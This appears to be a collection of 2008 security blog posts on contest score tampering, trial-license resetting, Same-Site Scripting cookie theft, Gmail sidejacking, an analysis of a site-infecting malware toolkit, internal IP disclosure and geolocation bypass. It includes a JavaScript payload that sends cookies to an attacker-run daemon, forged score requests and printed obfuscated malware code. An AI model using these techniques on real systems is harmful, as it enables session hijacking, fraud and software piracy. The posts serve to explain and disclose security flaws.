MITM, almost: Redux

Apparently one of my OpenWRT boxes still uses OpenDNS. I was checking my Godaddy account then a Mozilla Firefox security error popped up. Note the https at the end of the host.


I didn't accept the certificate since I was already logged in. Unfortunately it didn't happen again so I was not able to verify. Was it a one time or erratic glitch? I'm not very sure who is at fault here, Godaddy or OpenDNS.

Somebody else experienced this and he asked Godaddy customer support. The CS response:

Thank you for contacting Online Support. We are sorry for any confusion with this process. You should be using the latest version of your web browser, as well as any new patches for these. We cannot control any errors that appear on browsers or any local security settings. However, the latest patches, web browser versions, etc. should rid these errors on your browsing.

Please let us know if we may be of further assistance.
Sincerely,
Ben P.
Online Support

The response was not satisfying to say the least but this is possibly a Mozilla Firefox bug. Replicating it is pretty hard so reporting will be a pain in the ass.

Recycle

Easily recycle thousands of compromised boxes using these easy steps

1. Search for commonly used defacer messages
2. Pick a defaced site
3. Find out how they got in
4. Patch the entrance (optional)
5. Repeat

Because of forgotten web applications lying around web directories not updated those steps can be very effective. Some defacements can go undetected for many years. If someone can create or edit files in web directories specially a php script, a shell's a whiff away.

For example this guy does not even know his host got pwned in March 2006. I think he's very busy with his new kid.

Outdated or not, the insecure web application (phpGraphy) which was used to gain entry has a below average security track record.

• 0.9.13a - Fixed a security bug related to vulnerability in PHP itself
• 0.9.12 - Fixed security bug introduced in 0.9.9
• 0.9.12 - Fixed security bugs introduced in 0.9.12-rc1
• 0.9.11-rc1 - Fixed security bug related to internal security levels
• 0.9.9a - Fixed little security bug with random pic function
• 0.9.5 - Some html "security" holes fixed
• 0.9.4 - Bugfixed security level system

Cheating the cheaters

Web application security has a simple rule: "Never trust user input". This applies not only to applications but also games. Flash games are hard to secure and be made cheat-proof. It's like creating a JavaScript game and trusting the results from it. You should also take care of how the results are entered into your system.

AkoModelo is a Filipino social networking website similar to MySpace, Facebook and Friendster. To promote the website they have contests. Late December they had CAM-GIRL.

1. Command Cam-Girl to do things you want by typing in the command in the text box.
2. If your command is valid, Cam-Girl will perform for you!
3. Have fun and try to find all commands!

I played with it for a while as an unregistered user. A certain jhesqi has 90 points at that time. Getting a legit 100 points will be next to impossible so that 90 points is a bit fishy. It's difficult because some commands are phrases and use both English and Filipino words/slang. Later played as a registered user with username borat. I noticed that some commands are word variations of those in the trial.

Of course I watched the HTTP requests.

GET /cam_girl/bg.jpg
GET /cam_girl/camgirl_final_secure.swf
GET /cam_girl/ranking2.asp
GET /cam_girl/user_score.asp
GET /cam_girl/0.flv
GET /cam_girl/idle.flv
GET /cam_girl/user_score.asp
GET /cam_girl/correct.mp3
GET /cam_girl/ranking2.asp
GET /cam_girl/29.flv
GET /cam_girl/user_update.asp?vid=vid25&score=1
GET /cam_girl/ranking2.asp
GET /cam_girl/user_score.asp

The flow should be clear and the script names are self explaining.

1. Check/show ranking
2. Check/show user's score
3. If command is valid play correct.mp3
4. Show corresponding Flash video
5. Update user's score!
6. Repeat

As cheaters we are interested in padding our score. This HTTP GET request is of utmost interest:

GET /cam_girl/user_update.asp?vid=vid25&score=1

Yes a HTTP GET we don't even need to create custom POST requests. The parameters are a dead giveaway. vid is for the Flash video to play and score is the current score. So this request below would easily gain us 100 points:

GET /cam_girl/user_update.asp?vid=vid26&score=100

. The script logic is silly you can change your score arbitrarily like jump to 90 and then to 1. Without looking at the SWF file we can instantly win but we won't settle for that. I also want to see the videos.

This Flash game has two versions each with a different SWF file. I downloaded both locally for offline viewing.

• http://www.akomodelo.com/cam_girl/camgirl_trial.swf
• http://www.akomodelo.com/cam_girl/camgirl_final_secure.swf

The camgirl_trial.swf is for unregistered users and camgirl_final_secure.swf is for registered users. Inside the SWF file are the commands, yes hard coded. Here is the CSV formatted answers.txt file of the commands. The fields in order are:

• Command
• FLV file
• Command number
• Other possible commands

If you look at the CSV or the SWF file dump you won't see commands number 15 and 27 which means it is not possible to get more than 98 points or 56 commands. This contest is a scam because it is not possible to legitimately get 58 commands. These are the two commands that are in camgirl_trial.swf but not in camgirl_final_secure.swf:

'laugh', '31.flv', '27', 'tawa
'electrocute again', '18.flv', '15', 'makuryente ulit', 'makuryente ka ulit'

I guided cam girl through all possible commands getting 98 points. Later jhesqi got 99 points. Checked the camgirl_final_secure.swf for changes but no updates so still the only possible highest score is 98 points. Obviously he is using the HTTP GET request to pad his/her score or directly updating the system. We cheat the cheaters by using the HTTP GET method:

request: GET /cam_girl/user_update.asp?vid=vid27&score=99
output: Newrank=2&Oldrank=2&score=99&rank=0&Newrank=2
request: GET /cam_girl/user_update.asp?vid=vid15&score=100
output: Newrank=1&Oldrank=2&score=100&rank=1&Newrank=1

In a shallow way I demonstrated why you should never trust user input and client-side results. Thanks to AkoModelo for the fun promotional scam. Where's my price? :-p.

Tongits is in the AIR

Somebody made a card game that runs on Adobe AIR. Tongits is a popular card game played for pastime and also for gambling here in the Philippines. It is played like Mahjong with card rules similar to poker.

What is the Adobe Integrated Runtime:

Adobe® AIR™ lets developers use their existing web development skills in HTML, AJAX, Flash and Flex to build and deploy rich Internet applications to the desktop.

More information at the AIR developer FAQ. According to the FAQ AIR APIs are only exposed to Flash content via ActionScript 3/AVM2. This means it requires Flash version 9 with those nifty features like network sockets.

Installed AIR. Downloaded the game installer, aptly the file extension is .air. The package can be easily unzipped.

$ unzip -l Tongits.air 
Archive:  Tongits.air
  Length     Date   Time    Name
 --------    ----   ----    ----
       59  01-24-08 11:43   mimetype
     5601  01-24-08 11:42   META-INF/AIR/application.xml
       32  01-24-08 11:43   META-INF/AIR/hash
    16931  01-02-08 01:09   icons/128x128.png
     3272  01-02-08 01:09   icons/16x16.png
     4227  01-02-08 01:09   icons/32x32.png
     5545  01-02-08 01:09   icons/48x48.png
  2558544  01-24-08 11:42   Tongits.swf
     3311  01-24-08 11:43   META-INF/signatures.xml
 --------                   -------
  2597522                   9 files

No executable in sight only a SWF file. Looks like AIR is an uber flash player. Double clicked on the .air package.
File system and network access. That's Adobe for you, bringing the Web into the desktop.

Installed the game and the files found their way into C:\Program Files\Tongits. Interestingly a new executable accompanies the rest of the files in the package, Tongits.exe with the game logo.

Loaded the binary into OllyDbg. Looks like it was compiled with Visual C++. Saw nothing specific to the game just a bunch of checks for command line options (-runtime/-stdio), registry entries and if AIR is installed. I thought it must be a generic executable to call AIR. Generating custom executables for each AIR application would be tricky and useless. I confirmed it after I found template.exe which contains the same assembly instructions as Tongits.exe. The binary template.exe is located in the AIR directory C:\Program Files\Common Files\Adobe AIR\Versions\1.0.6.

Stripped all the icon resources from Tongits.exe and I am down to the same size (6144 bytes) as template.exe. Copied template.exe over to C:\Program Files\Tongits and ran it. Expectedly it loaded the game just fine. Apparently the AIR installer just embeds the icon into template.exe and puts it along with the rest of the package files.

I did not see any registry entry specific to the game but it has files in C:\Documents and Settings\root\Application Data\Adobe\AIR\ELS\Tongits.[publisherid]:

PrivateEncryptedData
PrivateEncryptedDatai
PrivateEncryptedDatak
PrivateEncryptedDatav

The publisherid is the same as C:\Program Files\Tongits\META-INF\AIR\publisherid and in the installer package. For this game it is FEEDC458623E9216D3707124DB15BAAB6C08489C.1.

The game only has 10 trial runs before it becomes crippled. You have to buy a key if you want to play seriously.

removed... requested by game author

When registering the game, the files in C:\Documents and Settings\root\Application Data\Adobe\AIR\ELS\Tongits.FEEDC458623E9216D3707124DB15BAAB6C08489C.1 got updated. I figured this where the registration and game info is saved.

Confirmed by backing up the directory, deleting it and running the game again. I was given another 10 trial uses. Copied over from backup and I was registered again. Unfortunately for the game author it is hard to come up with pirate-proof registration schemes.

AIR is bringing Web something.0 technologies into the desktop. I think Mozilla has something similar, the XULRunner. Desktop applications are not dead after all. By the way I prefer the cool guys at AdobeAir.

Browsers not adhering to SOP?

A few days ago Tavis Ormandy sent an advisory to Bugtraq:

It's a common and sensible practice to install records of the form
"localhost. IN A 127.0.0.1" into nameserver configurations, bizarrely
however, administrators often mistakenly drop the trailing dot,
introducing an interesting variation of Cross-Site Scripting (XSS) I
call Same-Site Scripting. The missing dot indicates that the record is
not fully qualified, and thus queries of the form
"localhost.example.com" are resolved. While superficially this may
appear to be harmless, it does in fact allow an attacker to cheat the
RFC2109 (HTTP State Management Mechanism) same origin restrictions, and
therefore hijack state management data.

Based on the advisory you can steal cookies on multi-user systems. The attacker starts a HTTP daemon bound to 127.0.0.1 on port 1024. Lures a victim to visit http://localhost.example.com:1024/example.gif. Cookies set by example.com are then sent to the HTTP daemon listening at 127.0.0.1:1024.

If you are familiar with the Same Origin Policy which is supposed to be implemented by popular browsers, you will think this is not possible. But quoting Tavis:

It appears to be a common mistake to confuse the JavaScript SOP and the HTTP originating host definition for Cookies with regard to port number. The JavaScript SOP does include the port number, where as RFC2109 explicitly does not. This behaviour is arguably incorrect, making it impossible to securely host a website from a multi-user machine, but nevertheless is the case, and is implemented by most major browsers.

Of course the best way to verify is test it yourself. Here in the Philippines Yahoo Mail is very popular and one of those affected by Same-Site Scripting is Yahoo.com. The FQDN localhost.yahoo.com resolves to 127.0.0.1. I log in to my Yahoo account and start a HTTP daemon bound to 127.0.0.1:1024 as a non-root user. Visited http://localhost.yahoo.com:1024/index.html which has the following source:

<html><script>document.location='http://127.0.0.1:1024/'+document.cookie</script></html>

On the HTTP daemon logs I see:

127.0.0.1 - - [24/Jan/2008:05:21:31 +0000] 
"GET /B=0q8rtapgs4wdb&b=3&s=nb;%20YLS=v=1&p=0&n=1;%20
F=a=mehEFaoMvT8woslcBRoiHBHL_ZH7tf0b70pskyc6Ko45aE_7m1zPdsU55J_FZpdieb7ABuo-&b=zK9B;%20
Y=v=1&n=d9uqwiam26nfr&l=1eoxrc5wy/o&p=m2gei983y2000000&iz=1200&r= 
HTTP/1.1" 404 0 "http://localhost.yahoo.com:1024/" "Opera/9.25"

Tested both Firefox 2.0.11 and Opera 9.25. Looks like both browsers do not adhere to Same Origin Policy 'different port restriction'.

Going back to the original advisory, this named misconfiguration issue is quite widespread because of an easily missed trailing dot. In the DDoS mitigation front it is a common practice to blackhole traffic by resolving attacked hosts to 127.0.0.1. Because of SSS soon it will become bad advise since stored cookies from a blackholed host will be in danger from resourceful attackers.

Unsecured WiFi and Gmail

Many people are not aware of the dangers when browsing from unsecured wireless hotspots. To demonstrate to a friend I volunteered to sidejack his Google mail session.

Before I can do that I need to know what specific cookies Google needs for a valid session. By carefully reducing cookies one by one I got these two:

google.com / GMAIL_LOGIN=T1126079980530/1126079980530/0325079980125
mail.google.com /mail GX=DQAAAGoAAAD8gt_Ei66AAynLmNMuqhUTbig34xydickxZT5
qkXlfDkjksdjf39ekfatpigXYVSGqHaBhUNuQ93MSbf7boyhahap01V0l74ghmqajdvtv14X
8gQ1fRdqIdxzny5_CryNSSymSC6HR_Sf59oATsAPH

You have to issue another GET request to http://mail.google.com/mail/ after manipulating your cookies. If you click on the Inbox link at the left of the UI you will get logged out because of the Ajax acrobatics done by Gmail.
A weird behavior I experienced when using Opera, sometimes you can also get away with GMAIL_LOGIN and LSID:

google.com / GMAIL_LOGIN=T1126079980530/1126079980530/0325079980125
www.google.com /accounts LSID=mail|s.PH:DQAAAGoAAABhqZ-GPDI5CKISHnit7O-Y
GjjHquF6fFkYUZMuAcfackXzohvS_YRY3you8aCcBkFDwgkaN75F8t_ogagHoG0KyJy2z7yN
Cg6_R5yqINlmqE8YQG1j2WKsiJKCzKw6KC3mha86RjiI9FEHbTormjeg

This time around you have to click on the Inbox link at the left. You are not logged out but you get this error message in Opera: 'Oops...the system was unable to perform your operation (error code 007). Please try again in a few seconds'.
Other interesting findings:

• The GMAIL_LOGIN and LSID cookie is tied to the username.
• Signing out the session will revoke the cookies.
• The rememberme cookie does not seem to make a difference when stealing GMAIL_LOGIN and GX cookies.
• GMAIL_LOGIN or SID + LSID is enough for other Google services.

After a few minutes analyzing Gmail cookies I then fired up Aircrack-ng. With less than an hours' worth of pcap data, precious GMAIL_LOGIN and GX cookies are ready for picking. After editing the cookies on my currently logged in Gmail account and issuing a GET for http://mail.google.com/mail/ I was greeted by my friend's Inbox. He was flustered, sidejacking was a success.

Connecting to an unsecured WiFi is like connecting to a hub or broken switch. All your unencrypted streams are considered sniffer food. By the way always sign out after using your Google accounts and use https://mail.google.com/.

Random JS Toolkit

Last week we saw the media coverage of the Random JS Toolkit. Several Linux servers were compromised for malware distribution, directly infecting visitors. The initial vector of compromise is currently unknown and the rootkit installed afterwards is very stealthy to an inexperienced administrator.

It was reported that some sites were compromised repeatedly even after a fresh operating system reinstall. As of this moment some of these sites are still up today serving malware even though they are knowingly rooted.

It is easier to analyse the malware infection than the server compromise. The toolkit inserts a randomly named JavaScript file right after the <body> tag of web pages.

<script language='JavaScript' type='text/javascript' src='uxayo.js'></script>

Here are sample diffs of infected pages.

  <body lang=EN-US link=blue vlink=purple style='tab-interval:.5in'
-  stylesrc=main.html>
+  stylesrc=main.html>    
+<script language='JavaScript' type='text/javascript' src='uxayo.js'></script>
   <div class=Section1>
   <p class=MsoNormal><!--webbot bot="Include" tag="BODY" u-include="main.html"
</head>

 -->
   </script>
  </head>
-<body>
+<body><script language='JavaScript' type='text/javascript' src='pkfae.js'></script>
 <table width="800" border="0" align="center" cellpadding="0" cellspacing="0">
   <tr>

The line is inserted by the toolkit on the first visit based on the IP address and then randomly inserted afterwards. The malicious JS file has several malware embedded which is obfuscated by unescape() sequences and it also downloads a trojan binary to the visitor's machine. The filename of the binary is also randomized as seen on the top of the JS file.

var arg="xxcjutss";

var MU = "http://" + document.location.hostname + "/" + arg;
var MH = '';
var MUT = MU;
for (i=0; i < MUT.length; i++)
{
        var b = MUT.charCodeAt (i);
 MH = MH + b.toString (16);
}
MH = MH.toUpperCase();
if (Math.round(MUT.length/2) != (MUT.length/2))
{
 MH += '00';
}

var MR = '';
for (i=0; i < MH.length; i += 4)
{
 MR = MR + '%u' + MH.substring(i+2, i+4) + MH.substring(i, i+2);
}

var MU2 = "\"" + MU + "\"";
var MR2 = "\"" + MR + "\"";

var SB =
unescape ('%6D%61%6C%77%61%72%65%0A') + 
MU2 +
unescape ('%6D%61%6C%77%61%72%65%0A') +
MR2 +
unescape ('%6D%61%6C%77%61%72%65%0A') +
MU2 +
unescape ('%6D%61%6C%77%61%72%65%0A');

document.write (SB);

More information on the malicious JS can be seen at the TrendLabs Malware Blog. This random JS generation component of the toolkit has been seen and reported as early as April 2007 and July 2007 respectively. Similar to other victims they have no idea where the random JS is coming from.

From what I can gather the initial break-in is not through PHP core or web applications since I have seen infected plain html and PHP pages. Also seen Apache 2 and 1.3 serving these infected pages, JS and binaries. cPanel has released an informative security note for this toolkit. Seems to be an unknown root compromise happening on the servers. If the root shell is obtained or the rootkit is installed through /dev/kmem the following patch can disable writing to it. Note that this is just a workaround since the real cause of the initial compromise is unknown.

--- linux/drivers/char/mem.c 2007-10-10 04:31:38.000000000 +0800
+++ linux/drivers/char/mem_nowrite.c 2008-01-20 15:26:32.000000000 +0800
@@ -179,7 +179,7 @@ static ssize_t write_mem(struct file * f
 
  if (!valid_phys_addr_range(p, count))
   return -EFAULT;
-
+        return -EPERM;
  written = 0;
 
 #ifdef __ARCH_HAS_NO_PAGE_ZERO_MAPPED

To workaround the inclusion of the JS file some resorted to patching even though they are knowingly compromised.

 </head>
 <script language='JavaScript' type='text/javascript'>/*
-//<body >
+//<body ><script language='JavaScript' type='text/javascript' src='rylet.js'></script>
 //
 */
 </script>

And even tried to mask the server software and version in case it is an automated compromise.

$ curl -I www.reallybored.net 
HTTP/1.1 200 OK
Date: Fri, 18 Jan 2008 14:52:23 GMT
Server: WebServerX
X-Powered-By: PHP/4.4.6
Content-Type: text/html

$ curl -I www.bellingerfurniture.co.uk
HTTP/1.1 200 OK
Date: Fri, 18 Jan 2008 15:24:18 GMT
Server:  
X-Powered-By: PHP/4.3.11
Content-Type: text/html

The details of the initial compromise is unknown yet because researchers are having a hard time obtaining post mortem server images. Based on the information available, if this is a software vulnerability I reckon this is an obscure vulnerability in Apache (or module) coupled with an equally obscure Linux kernel vulnerability. If that is not the case, most likely it is a backdoored server image or distribution software package. The multiple stage compromise and infection done on different operating systems is cunning. This is a good example why good guys should always be in the know and should at least keep up with the bad guys.

Here are URLs for additional information on this nefarious toolkit.
http://blog.scansafe.com/journal/2008/1/15/mom-pop-sites-hit-hard-by-host-compromise.html
http://www.finjan.com/Pressrelease.aspx?id=1820&PressLan=1819&lan=3
http://www.webhostingtalk.com/showthread.php?t=651748
http://www.theregister.co.uk/2008/01/11/mysterious_web_infection/
http://www.channelregister.co.uk/2008/01/16/mysterious_web_infection_continues/

Exposed internal IP addresses

With permission from a client I was allowed to divulge a minor vulnerability in an unknown load balancer. I was asked to do some testing on their servers exposed to the Internet, they wanted to know how do they look like from the h^Hcracker's point of view. I think from now on I will call these type of tests 'black box reconnaissance' since I do not have prior knowledge of their internal network.

They have the usual stuff like a firewall which sends a RST to a blacklisted host. I have custom tests for web servers and I accidentally found a vulnerability in their load balancer, my client does not want to disclose the brand or make of the load balancer.

Apparently requesting over HTTP 1.0 without a trailing slash reveals the internal IP addresses of the web servers.

Testing: HTTP 1.0 without trailing slash
-- HEAD /portal HTTP/1.0
HTTP/1.1 301 Moved Permanently
Date: Tue, 15 Jan 2008 09:59:57 GMT
Server: Apache
Location: http://192.168.1.2/portal/
Connection: close
Content-Type: text/html; charset=iso-8859-1

-- HEAD /portal HTTP/1.0
HTTP/1.1 301 Moved Permanently
Date: Tue, 15 Jan 2008 09:59:57 GMT
Server: Apache
Location: http://192.168.1.4/portal/
Connection: close
Content-Type: text/html; charset=iso-8859-1

-- HEAD /portal HTTP/1.0
HTTP/1.1 301 Moved Permanently
Date: Tue, 15 Jan 2008 09:59:57 GMT
Server: Apache
Location: http://192.168.1.3/portal/
Connection: close
Content-Type: text/html; charset=iso-8859-1

Testing: HTTP 1.0 with trailing slash
-- HEAD /portal/ HTTP/1.0
HTTP/1.1 200 OK
Date: Tue, 15 Jan 2008 10:00:14 GMT
Server: Apache
Connection: close
Content-Type: text/html

Testing: HTTP 1.1 without trailing slash
-- HEAD /portal HTTP/1.1
-- HOST: example.com
HTTP/1.1 301 Moved Permanently
Date: Tue, 15 Jan 2008 10:00:43 GMT
Server: Apache
Location: http://example.com/portal/
Connection: close
Content-Type: text/html; charset=iso-8859-1

Testing: HTTP 1.1 with trailing slash
-- HEAD /portal/ HTTP/1.1
-- HOST: example.com
HTTP/1.1 200 OK
Date: Tue, 15 Jan 2008 10:01:00 GMT
Server: Apache
Connection: close
Content-Type: text/html

Microsoft IIS had a similar security vulnerability, Internet Information Server returns IP address in HTTP header (Content-Location):

This header may expose internal IP addresses that are typically hidden or masked behind a Network Address Translation (NAT) Firewall or a proxy server. Example:

HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Content-Location: http://10.1.1.1/Default.htm
Date: Thu, 18 Feb 1999 14:03:52 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Wed, 06 Jan 1999 18:56:06 GMT
ETag: "067d136a639be1:15b6"
Content-Length: 4325

In this example, the Content-Location specifies the private internal address of the IIS computer in the header. This header is then unchanged when it passes through a firewall or proxy server. Therefore, the security of the internal network may be compromised by exposing the network addresses that are being used.

A fellow in the Full-Disclosure mailing list said he have seen this in F5 BIG-IP and IIS. Unfortunately I do not have access to a BIG-IP anymore so I can not confirm myself.

Geolocation blocking

A couple of online gambling sites do geolocation blocking. Either because of regulations or they just want to cater to specific geographical locations. Some of them also do blacklisting right on their network appliances facing the Internet. Geolocation blocking is commonly done on the application layer, through the game client, web application exempli gratia 301,302 redirects.

A Philippines based online casino that does geolocation blocking on their web application is RUZUZ.XLN (domains are encrypted with the jewjitsu cipher). When accessing their registration page using a Philippines IP address you will be thrown an error saying that people in your jurisdiction are not allowed to register. Using a reliable chinese proxy the blocking can be bypassed since China is one of their target markets.

HYLYVG.XLN does it a bit different since they perform the geolocation blocking on layers 2-5 with what seems to be an Internet facing network appliance id est firewall. When connecting using a Philippines IP address you will be timed-out, but it can also be bypassed using a chinese proxy.

Then there is also the clever guys at XK919.XLN. I am not sure of the purpose of the geolocation blocking rather redirecting because they have a similar unblocked page at XK9198.MVG but of course the backend could be completely different and comparing the HTTP behavior/responses they are different hosts.

Accessing XK919.XLN:

$ curl -I http://xk919.xln   
HTTP/1.1 302 Found
Date: Tue, 08 Jan 2008 08:58:07 GMT
Server: Apache
Expires: Mon,26 Jul 1997 08:00:00 GMT
Last-Modified: Tue, 08 Jan 2008 08:58:07 GMT
Cache-control: no-cache,must-revalidate
Pragma: no-cache
location: http://www.google.com.tw
Connection: close
Content-Type: text/html

$ curl -I http://xk919.xln
HTTP/1.1 302 Found
Date: Tue, 08 Jan 2008 08:58:34 GMT
Server: Apache
Expires: Mon,26 Jul 1997 08:00:00 GMT
Last-Modified: Tue, 08 Jan 2008 08:58:34 GMT
Cache-control: no-cache,must-revalidate
Pragma: no-cache
location: http://www.pchome.com.tw
Connection: close
Content-Type: text/html

$ curl -I http://xk919.xln
HTTP/1.1 302 Found
Date: Tue, 08 Jan 2008 08:58:45 GMT
Server: Apache
Expires: Mon,26 Jul 1997 08:00:00 GMT
Last-Modified: Tue, 08 Jan 2008 08:58:45 GMT
Cache-control: no-cache,must-revalidate
Pragma: no-cache
location: http://www.hinet.net
Connection: close
Content-Type: text/html

Sweet, 302 redirects to random TW domains. Using a chinese proxy:

$ curl -I -x notsoleetblacklistedproxy.cn:8080 xk919.com
curl: (52) Empty reply from server
$ curl -I -x notsoleetblacklistedproxy.tw:8080 xk919.com
curl: (7) couldn't connect to host

The connection times out or I am sent a RST. Using other blacklisted proxy hosts I confirmed that they are using a blacklist (XBL etc.). Clever of them to block these drones and or blacklisted hosts, no legitimate connections come from them anyway. To bypass the blocking you need a fresh proxy located in an allowed jurisdiction and it also should not be blacklisted. Fortunately I have one for tricky times like this.

$ curl -x veryleetproxy.tw:8080 xk919.com
HTTP/1.1 200 OK
Date: Sun, 06 Jan 2008 04:05:29 GMT
Server: Apache
Expires: Mon,26 Jul 1997 08:00:00 GMT
Last-Modified: Sun, 06 Jan 2008 04:05:29 GMT
Cache-control: no-cache,must-revalidate
Pragma: no-cache
Content-Type: text/html
Proxy-Connection: Keep-Alive
Connection: Keep-Alive

<html>
<head>
<title>Welcome BOEING</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<frameset rows="*,0" frameborder="NO" border="0" framespacing="0">
<frame name="mem_index" src="http://xk919.xln/app/member/">
<frame name="act" scrolling="NO" noresize src="">
</frameset>
<noframes> 
<body bgcolor="#FFFFFF" text="#000000">
</body>
</noframes> 
</html>

Bypassed. Also look at that, an interesting IFRAME.

curl -D - "http://xk919.xln/app/member/"
HTTP/1.1 200 OK
Date: Tue, 08 Jan 2008 09:41:20 GMT
Server: Apache
Expires: Mon,26 Jul 1997 08:00:00 GMT
Last-Modified: Tue, 08 Jan 2008 09:41:20 GMT
Cache-control: no-cache,must-revalidate
Pragma: no-cache
Set-Cookie: agNameCookie=deleted; expires=Mon, 08-Jan-2007 09:41:19 GMT
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Welcome</title>
<script language="javascript">
<!--//

Yup. The geolocation redirect only happens in index.php, the URL inside the IFRAME is not protected. Complete bypass accomplished.

PHP 5.2.5 + thttpd 2.25b patch

Updated a PHP patch floating around for supporting thttpd, the tiny/turbo/throttling HTTP server. The patch applies thttpd 2.25b support to PHP 5.2.5 both latest at the time of this writing. After many years I still love this combination.

--- php-5.2.5/
+++ php-5.2.5-thttpd225b/

Get it: php-5.2.5-thttpd-2.25b.patch.

HTTP header trouble for Xmas

In the midst of Xmas eve celebration, over at the Philippines Linux Users' Group mailing list someone is having trouble with HTTP headers. The scenario: John is getting complaints from a third party (I will call them the Grinch) accessing his HTTP host. The Grinch is getting HTTP 400 Bad request errors from John's Apache HTTP daemon. He found out that the Grinch is not sending a Host header along with a HTTP 1.1 request.

Examining RFC 2616 (Hypertext Transfer Protocol -- HTTP/1.1) section 5.1.2
(Request-URI) you can see that a HTTP 1.1 client must set the Host header:

The most common form of Request-URI is that used to identify a
resource on an origin server or gateway. In this case the absolute
path of the URI MUST be transmitted (see section 3.2.1, abs_path) as
the Request-URI, and the network location of the URI (authority) MUST
be transmitted in a Host header field. For example, a client wishing
to retrieve the resource above directly from the origin server would
create a TCP connection to port 80 of the host "www.w3.org" and send
the lines:

GET /pub/WWW/TheProject.html HTTP/1.1
Host: www.w3.org

If it is true that John's host did not do any reconfiguration obviously the Grinch is at fault here. A stock Apache 1.3.x or 2 HTTP daemon that speaks fluent HTTP 1.1 will expectedly spit out a HTTP 400 Bad request error when a client request omits the Host header field.

I found out an interesting excerpt in the HTTP 1.1 specification. It is about
handling absoluteURIs:

GET http://www.w3.org/pub/WWW/TheProject.html HTTP/1.1

To allow for transition to absoluteURIs in all requests in future
versions of HTTP, all HTTP/1.1 servers MUST accept the absoluteURI
form in requests, even though HTTP/1.1 clients will only generate
them in requests to proxies.

Apache 1.3.x and 2 does not handle absoluteURIs by specification, it also returns a HTTP 400 Bad request error. Thttpd 2.25b is OK with absoluteURIs. I have yet to fully test Lighttpd, it seems to freeze on my custom headers.